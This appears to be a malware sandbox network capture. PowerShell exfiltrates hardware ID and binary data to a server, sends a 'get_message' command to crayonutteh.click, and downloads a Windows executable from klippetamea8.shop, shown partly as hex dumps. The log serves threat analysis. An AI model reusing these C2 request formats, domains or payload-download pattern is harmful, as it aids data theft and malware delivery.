2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 2d 2d 42 57 56 57 47 54 50 30 34 57 4d 42 57 39 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 42 57 56 57 47 54 50 30 34 57 4d 42 57 39 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 57 56 57 47 54 50 30 34 57 4d 42 57 39 4d 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 32 0d 0a 2d 2d 42 57 56 57 Data Ascii: --BWVWGTP04WMBW9MPContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--BWVWGTP04WMBW9MPContent-Disposition: form-data; name="pid"1--BWVWGTP04WMBW9MPContent-Disposition: form-data; name="lid"yJaNLj--re2--BWVW
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 80 96 40 12 27 a5 16 18 76 f1 47 a7 0c 14 7b e4 a6 1a 00 31 df ab 71 45 cf da cd 22 d3 e0 9e ea 80 9f 68 86 76 63 69 97 b7 77 11 3a 23 2c d9 1c 7f 14 95 ca 3b dc 2f 61 29 72 75 32 9b c6 15 54 9a eb e2 ae 63 ca 94 ff a5 a5 e7 b0 6f 2f 65 15 76 8d ae 5d db 7c b3 b9 f5 e1 02 63 04 60 82 e4 a3 3a ef 0d 58 4f ae b5 2f c6 b1 0f eb 76 d3 3b 93 9d 09 08 2a 7c 43 2d eb 24 50 1c b3 d3 3d 00 a7 99 94 44 7e ab 92 d0 00 a2 22 ef d3 93 7f 12 da f3 8f a3 47 03 7b 93 8b ab 63 93 d9 c7 b1 30 7a 58 d4 69 10 53 c2 d9 81 91 a9 c6 d9 b2 7a 01 70 34 ee 00 7b 82 c2 c0 a1 b7 2a c0 e0 8d 08 10 ad 53 00 4e b6 93 ee de 46 b7 d7 4d 20 9c 40 67 8c 9c 67 46 80 99 d7 1f d3 9d b1 e9 53 cb 7d d1 d0 07 d8 c4 87 49 40 cd 82 9c b2 0d 76 e6 f4 c1 ee 0d d7 55 94 a2 70 34 bf 2f 5c b2 f9 1f ab Data Ascii: @'vG{1qE"hvciw:#,;/a)ru2Tco/ev]\|c`:XO/v;\|C-$P=D~"G{c0zXiSzp4{SNFM @ggFS}I@vUp4/\
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 86 56 53 bb 05 d1 41 29 2d 8e af 98 4b c3 a2 8a b1 31 a1 e6 41 b0 10 7f 3a d7 3c 30 35 a4 bb 4e 67 e1 57 c0 f7 48 55 cd 17 94 c6 94 41 a5 41 b7 48 c5 6a c6 75 09 2a b8 b7 f1 2d c1 ba 90 69 01 a3 47 c1 46 30 37 2c 1c f0 eb fc 75 5e 28 86 1c 2c 2b 6b 57 5d 1a 1d 43 7e 66 3b 68 2b 57 ba 19 e7 d1 2c 3f a4 db f4 1d be 07 dd 3e 6b 9b d8 6e 8a 94 49 15 19 d7 f6 2e 54 93 15 d2 14 82 d5 4d cb 1b 65 b9 56 63 58 90 c2 a5 14 43 0f 3a 9d ff 8e e1 32 69 36 b7 06 6b 2b 12 63 43 3b 31 7d cf 02 8e 7e d0 0b df 6c 34 36 e2 18 37 b9 12 8b 1f f3 5b 2c 7e db d6 b8 64 ee 11 de f6 02 72 a8 a8 c5 b1 10 5d 13 ac 32 14 e4 7a 3c 88 1f 41 7d 7b 63 7b ba c3 2d b4 6b b0 74 50 23 ac 34 68 a3 42 dc 1b 14 ac c0 d0 4a 95 69 dd f5 1a 34 c9 cb 75 f1 37 17 05 08 61 02 b4 18 c1 ad 7f 8a 19 47 Data Ascii: VSA)-K1A:<05NgWHUAAHju*-iGF07,u^(,+kW]C~f;h+W,?>knI.TMeVcXC:2i6k+cC;1}~l467[,~dr]2z<A}{c{-ktP#4hBJi4u7aG
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: f4 d3 34 a7 61 4d a1 41 a7 ba 42 63 a4 5c 4b 09 90 ba 87 58 27 fe 0c d2 8b e6 fa 76 e9 49 d6 b8 98 1a 87 b9 ba a7 d7 bf d7 d6 30 24 72 5a 8c 13 c3 0c b3 9f 47 ec a6 3b 34 94 f1 eb 39 ab 63 62 dc d5 ec 46 9c bb 01 f1 c9 e2 16 74 e8 b9 d5 92 8d c7 ae f9 cb 6e b6 bc 1a cb cb 4d e6 a3 9f b0 f9 db 0f 69 a1 57 37 8b cf 20 5a 85 6f df 98 70 47 ed 0d 8e d0 a2 a1 2e 57 fd b5 b4 64 8d d2 d9 70 a6 e3 77 4d 51 a7 55 4d c9 2e c3 8a b8 eb dc 97 33 e9 a1 dd 95 45 15 3b 74 97 4b 15 ad 93 8f 8e 84 bb 6e 3e 79 ed 2c d4 b0 bd b7 24 b2 01 85 f5 a1 c4 e7 0b 6e b9 c8 e8 dd f1 b4 d1 56 4b 79 dd ad 6c 63 bc fc aa 93 73 45 52 ab 67 19 42 77 fb 15 ad 5e f4 fc c3 96 48 12 94 9e 56 80 3e b9 51 54 11 0e a5 ad dc c8 d4 ec f7 75 38 13 2e 3d 5e 97 82 7f a5 73 c7 eb 0b 4a 38 5b 9a fb c7 Data Ascii: 4aMABc\KX'vI0$rZG;49cbFtnMiW7 ZopG.WdpwMQUM.3E;tKn>y,$nVKylcsERgBw^HV>QTu8.=^sJ8[
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: d5 87 20 bb 67 1c bd d8 59 e5 4f e1 ca d8 fa 7b 0c 19 74 7f 53 02 8a 2e 89 e3 35 39 d1 12 3c 38 bb e5 f0 69 83 14 9b c9 98 9f 15 ca 1e 60 a4 30 45 44 00 9f 83 08 82 e2 d6 66 92 68 59 fc 17 3b 20 00 39 79 6d b1 9a 07 e0 3a 1d 16 09 30 9e dd 23 89 b8 69 67 6f f8 bd fe a9 4d 5d 42 73 e8 2a 68 58 44 ff 1b 80 3a f1 3a b6 a3 d8 2e 60 8d da 32 7e 06 04 70 2e fe 04 1a 07 e3 80 88 78 c8 d8 bf 52 cd 02 88 28 3d cf aa 5e 54 cb dd 5e bd 22 dc 07 90 ce ed 16 29 ad 87 50 2a 6f 6f 3b 1b 4a d5 ca 75 73 2c 45 c3 72 8b 50 68 9c 53 3a d4 fc f0 8e d1 21 8e 39 90 b3 30 5e 15 21 3e 09 0e 1a 3d fc 2b 1c 60 32 7a a4 12 9a 5f de f9 fc d7 92 d6 88 a2 18 53 d3 0b a4 f7 14 5d 83 10 09 b3 02 bc 8e 57 90 44 ca e5 cd 1a 4d 2f b4 ae ca 07 1e 80 1b 43 16 25 35 52 51 d7 a8 7c 9d f6 d6 f1 Data Ascii: gYO{tS.59<8i`0EDfhY; 9ym:0#igoM]BshXD::.`2~p.xR(=^T^")Poo;Jus,ErPhS:!90^!>=+`2z_S]WDM/C%5RQ\|
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 2e 4e 69 0e 36 67 c0 51 82 8a 5c d4 00 db 72 f5 81 14 16 f8 ce fb 2c 93 96 d2 cf a8 bd 64 5f 7e 58 7d 73 e9 0b a4 f1 62 8c 66 a2 45 be 40 44 76 7d e2 5f 2d db e3 8a 3d 2a 59 d5 34 49 df d1 f5 6b bb e8 9f 77 8b 5c cc c4 0e 82 27 28 38 0f 22 57 e9 eb 89 d3 7c 6c d6 1f 0c 8d 4b aa 35 09 f2 25 49 7b 7a 91 08 e9 cd 33 10 8d 63 86 87 9d 7f f7 37 2c 17 28 4d e3 60 7e 49 95 e0 6b 33 15 ce 70 32 03 57 53 73 07 be 2d ed d5 b7 e0 a2 ee fe de 4d f0 3a 61 20 34 ff 2f 38 6d c8 56 e3 cd eb ea 2f 71 ae c3 f3 43 36 0d 71 12 d4 32 6a 4d 8d d7 eb 9c be 6d 11 43 c3 d6 d8 0c 89 35 50 87 9b b4 fa c9 06 23 af e6 a2 35 bc 19 d8 63 4b 91 fc c0 c0 a7 8d d6 97 45 1f cd 91 25 ad 6e 2f 32 93 41 45 45 9e 74 46 66 4b 63 16 c7 36 34 68 e8 5c 90 14 d7 fd fd 74 97 ba ae f4 b8 b8 f5 0f 19 Data Ascii: .Ni6gQ\r,d_~X}sbfE@Dv}_-=*Y4Ikw\'(8"W\|lK5%I{z3c7,(M`~Ik3p2WSs-M:a 4/8mV/qC6q2jMmC5P#5cKE%n/2AEEtFfKc64h\t
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 29 41 a3 a2 1a 97 d5 70 35 83 97 7b f0 ff db a1 70 0f 00 c2 d5 23 9e 85 8d 5b 1d fc 51 76 c8 bd 09 cf a4 bf 54 88 b8 18 bc ad 8b 32 0e 96 98 92 7c 6d 15 c1 16 1e 3c 10 54 ff a6 9e 52 0e 6a 55 5a d4 d2 1b b0 2a fc 21 a4 35 45 d7 30 44 a6 6f da 1e c0 7c 4b a7 98 12 fc 9f fc e3 06 18 ad be 64 5e aa 04 90 94 0e 88 c2 9f 05 62 bd 42 45 2e 82 59 60 a2 91 24 81 f8 11 8c fe 25 ff 2f 20 c3 78 ee 8c 2c 41 61 e0 97 11 8a db d8 f7 a7 27 ad a2 a6 ec 8b 7f c9 67 ff 3e d7 9b 1d b4 0c e0 66 cf 07 0a 09 91 71 cd 72 e8 d3 3a 48 a0 54 8e 15 22 51 9c d8 cc 03 70 96 ec 41 aa 4f 3e 74 43 97 bc bd f1 bd 95 5d a6 c5 1c da ed 9f 46 fa ab 27 84 af 5a 51 92 9c ae 7c ab 31 91 2d c7 4a 89 17 df 4c bd 1f 2e fe a5 a6 0c 7d 5a 77 56 65 b6 cb ac a6 f9 fb 8c 1c 18 16 66 f7 0f 1e 96 9c f4 Data Ascii: )Ap5{p#[QvT2\|m<TRjUZ*!5E0Do\|Kd^bBE.Y`$%/ x,Aa'g>fqr:HT"QpAO>tC]F'ZQ\|1-JL.}ZwVef
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 63 b7 f6 a2 a2 0c be 6c f9 1b 19 4f 68 24 78 ba 93 8d 7f ee ca f1 34 8b cb ac dd a5 cc ea 34 57 a3 9a 9f f9 b5 0a 57 73 b7 d9 d6 a4 d0 0d 19 ae 27 6f 74 5a 17 ab b2 d4 a5 32 32 25 3f 46 54 68 1c 45 0a 24 f1 e4 2d b2 ad f5 cf 8b 4e 1b ef bd 18 f7 66 d1 cb 41 7d 51 1f 76 71 8d 7b 18 42 60 7e dd 0f 34 b9 0a 25 08 b3 a0 81 5e 09 c3 d7 20 20 a8 64 2a fc 3b 24 ba f0 ab 20 9a dd 7c ee 4b 7e 5b 14 88 b3 19 5f 31 41 65 b0 77 cc cd bf 98 8e 00 75 e2 14 61 f1 1d 68 81 84 5a 81 a1 74 24 bd 59 c8 5d d0 83 b0 de 2f b1 3c 8c 67 cb 64 df 80 3e 60 c6 91 00 ae 54 ac f5 66 91 56 44 91 d1 1a 39 2e b7 33 de 30 5b 14 fb f6 c4 45 a9 32 d0 f7 d7 30 fe 29 eb ba c1 f0 b1 ad 69 d4 de 63 f1 65 98 71 8b 03 b9 a1 4c 31 31 7c bc 61 73 4b b8 3d 64 c2 d7 3d c4 16 f2 07 bd ae d9 fd 5c a1 Data Ascii: clOh$x44WWs'otZ22%?FThE$-NfA}Qvq{B`~4%^ d*;$ \|K~[_1AewuahZt$Y]/<gd>`TfVD9.30[E20)iceqL11\|asK=d=\
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 77 6c c5 4b 81 b8 6e af 99 ad 30 96 42 44 74 9b f1 fc 27 d8 d0 55 98 92 39 21 c6 25 dd 6e c8 19 f5 e3 46 c1 a8 37 a5 5a 75 ae 20 2a 9c b1 7e 0e b1 66 61 21 2a b7 37 f9 31 38 8d 84 67 36 5f 79 44 b6 0a 01 d9 86 b6 e2 17 01 3a 9f f5 87 17 53 61 8e 07 99 f5 f8 13 8f b8 09 1f d7 1a 7d 39 eb dc 9a 3c d1 eb 56 10 02 aa 8b c4 1a c7 57 5c 6b f1 fe 85 49 d3 7a 7f 65 63 7f ff 90 cc db 87 5c c9 d0 d6 29 65 80 b2 3f ff c3 2d 65 3b 9a 3e 6d 28 f4 13 d7 2f cf ab 3b ec 7e 98 c0 01 61 08 e4 fe f3 ea 32 78 ef ee 92 0c a3 f0 58 ab d9 bd 70 9a 16 7f c1 c1 e1 d3 48 a4 4b 7e aa f6 5a 79 3b 83 74 f1 d1 4b 2b f4 44 3b fe fc a3 5a f5 0b ea bd e5 1e 40 e9 69 87 a9 da 0e 4a c6 d2 27 e7 9e 07 4f e0 3a d5 bf c3 f1 dc e2 b9 d1 27 bc 76 8d 3e 6f ab 88 df 97 67 9f 9b fa 31 ad 77 7c 57 Data Ascii: wlKn0BDt'U9!%nF7Zu ~fa!718g6_yD:Sa}9<VW\kIzec\)e?-e;>m(/;~a2xXpHK~Zy;tK+D;Z@iJ'O:'v>og1w\|W
2024-12-21 18:24:43 UTC	15331	OUT	Data Raw: 19 15 82 90 0e be c6 56 da 75 0a 0d b5 07 70 10 3d c0 12 ac bd 8a 23 4e 4f 40 dc 56 b7 e6 f8 5a e7 f4 3d 51 87 e2 b2 10 cd 89 a0 97 5e 01 e7 5c 52 4d 75 ba 57 7b ff c4 cd 12 da 72 b2 b6 4e 94 e7 79 e9 ac 59 d8 38 f9 b8 57 8b 6d 7a 8c e8 21 6a 91 3f 0a 2d d1 fb 9e 73 59 b8 23 7f fb 20 b3 70 92 2a 19 09 34 5b ec 18 f3 34 93 39 f3 da 5f c0 d1 a6 bc f3 59 8e 6f 36 59 c4 61 63 90 70 7d d7 70 0d ff 0c f7 0b 6e af 53 7a e1 4f 6c 81 fb f7 14 2e 84 66 c8 47 b3 05 df e4 99 33 e8 8c f6 d6 85 15 f7 51 9d 39 6e 3e c1 f7 47 40 39 89 f8 02 38 89 81 6d 76 a3 3d 40 f1 03 36 9e 2e ee 04 d4 7c bc 58 dc cf 58 86 60 3b e5 67 21 52 28 9d 54 ce 14 7c 17 26 23 93 53 87 db 9e b3 70 c3 ae 35 d4 cc a9 9e 51 99 84 31 14 36 2c 68 6c 67 66 ae be cf a2 56 a6 cd 52 3c 6b 92 5c 25 df 17 Data Ascii: Vup=#NO@VZ=Q^\RMuW{rNyY8Wmz!j?-sY# p*4[49_Yo6Yacp}pnSzOl.fG3Q9n>G@98mv=@6.\|XX`;g!R(T\|&#Sp5Q16,hlgfVR<k\%
2024-12-21 18:24:46 UTC	1140	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jf79gl6odi74306ghlevdi7au5; expires=Wed, 16 Apr 2025 12:11:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mlcgas%2FCwwebOcAg0nNiCwwIwnkUWZI5XXkGZo0tTC8Rmzo2Rz4j78V0ST8XGglzt88FWGUyGukHsqKC1HhT0XZ7ckz02IEzk2GzkNl7zeE1Nj1D%2BWlMCs0OHg8rGRtc4gUkvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e91e2b7eb3b6-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129527&min_rtt=129463&rtt_var=27420&sent=367&recv=830&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1050355&delivery_rate=29515&cwnd=249&unsent_bytes=0&cid=c8985a5ae3586f3f&ts=3699&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49765	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:47 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 112 Host: crayonutteh.click
2024-12-21 18:24:47 UTC	112	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 61 4e 4c 6a 2d 2d 72 65 32 26 6a 3d 32 63 37 62 33 34 39 62 38 63 66 33 30 32 30 33 64 39 35 65 61 66 38 66 32 64 38 66 34 37 31 30 26 68 77 69 64 3d 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 Data Ascii: act=get_message&ver=4.0&lid=yJaNLj--re2&j=2c7b349b8cf30203d95eaf8f2d8f4710&hwid=863675D0B129FD4CDB71E32F12885CB3
2024-12-21 18:24:47 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5uo88slqd8reeni6gcga866t97; expires=Wed, 16 Apr 2025 12:11:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bqvX29RzOnrf8s3l90GNnMnF5QY62Ighlr9ALRLHNIvQSKFfDfCtLJgQtHyq4v2ORikJuPcAQyDeqDrTr1UWySxMYabr6howAr0U5d0NKBMhAcxTTaZ%2F7BgznX0AWU2sEXTU2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e937ffab4c15-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129105&min_rtt=128990&rtt_var=27413&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1014&delivery_rate=29572&cwnd=252&unsent_bytes=0&cid=c34294167668eead&ts=709&x=0"
2024-12-21 18:24:47 UTC	238	IN	Data Raw: 65 38 0d 0a 46 70 44 5a 4d 35 4d 41 51 73 42 6c 4e 34 71 52 73 68 75 4b 35 63 68 48 37 55 46 6a 4b 37 4b 63 61 78 52 48 6d 78 35 38 33 43 46 4e 36 2f 74 47 73 54 70 67 71 42 46 44 2b 75 4b 49 52 36 57 35 35 79 79 42 4b 42 4e 62 31 2b 67 4b 65 53 4c 36 4a 6c 4b 76 53 58 6e 67 68 52 7a 64 51 52 65 53 49 6e 44 49 31 6f 73 75 75 61 75 63 66 72 77 45 4d 6d 6e 31 72 30 56 32 4c 76 55 38 55 50 35 48 59 72 4c 6a 41 37 38 69 4a 2b 4a 66 42 2f 65 39 79 54 6e 2f 78 2f 4a 6c 68 54 55 58 57 38 47 6d 4e 7a 73 62 74 48 55 51 74 56 46 69 2b 61 4e 43 76 58 4d 71 72 78 56 72 70 66 6a 63 62 39 57 47 70 44 65 79 4c 51 64 5a 37 65 38 44 64 57 6e 76 5a 67 6a 2b 44 54 54 32 72 52 47 70 4d 6d 37 69 41 42 57 77 6f 4d 39 47 0d 0a Data Ascii: e8FpDZM5MAQsBlN4qRshuK5chH7UFjK7KcaxRHmx583CFN6/tGsTpgqBFD+uKIR6W55yyBKBNb1+gKeSL6JlKvSXnghRzdQReSInDI1osuuaucfrwEMmn1r0V2LvU8UP5HYrLjA78iJ+JfB/e9yTn/x/JlhTUXW8GmNzsbtHUQtVFi+aNCvXMqrxVrpfjcb9WGpDeyLQdZ7e8DdWnvZgj+DTT2rRGpMm7iABWwoM9G
2024-12-21 18:24:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49766	172.67.184.254	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:48 UTC	216	OUT	GET /NAURGGBG953NT9QEQBG3.bin HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klippetamea8.shop
2024-12-21 18:24:48 UTC	934	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:48 GMT Content-Type: application/octet-stream Content-Length: 28836411 Connection: close Accept-Ranges: bytes ETag: "65d15873583db50a03cc6650fd139411" Last-Modified: Sat, 21 Dec 2024 16:27:50 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=evxqjinGGg%2BjPdyaXvjRBn%2Bgsmh%2BAJbQykmNXbLZV39KgEYJLAs%2FzwgbW0TCim%2B4PDm0x9uqzE79zMlzCeh4wvt2Hysa7XsrPSkMh5GiOwnXLZ9KKOM0UW%2F6ywpeob2VnXlweA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e93eecb65c69-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129132&min_rtt=129060&rtt_var=27347&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2866&recv_bytes=830&delivery_rate=29609&cwnd=252&unsent_bytes=0&cid=4b6a3fe798acefb5&ts=497&x=0"
2024-12-21 18:24:48 UTC	435	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 69 61 6e 74 02 00 00 00 18 13 40 00 13 06 54 43 6c 61 73 73 9c 1f 40 00 02 00 00 00 2c 13 40 00 01 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 Data Ascii: iant@TClass@,@HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 00 fa ff a3 1e 40 00 4a 00 fb ff dc 1e 40 00 4a 00 fc ff 1b 1f 40 00 4b 00 fd ff 46 1f 40 00 4a 00 fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 Data Ascii: @J@J@KF@Jr@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 72 69 6e 67 03 00 b8 12 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 40 b8 12 40 00 01 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c Data Ascii: ring@@Self@@[@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch
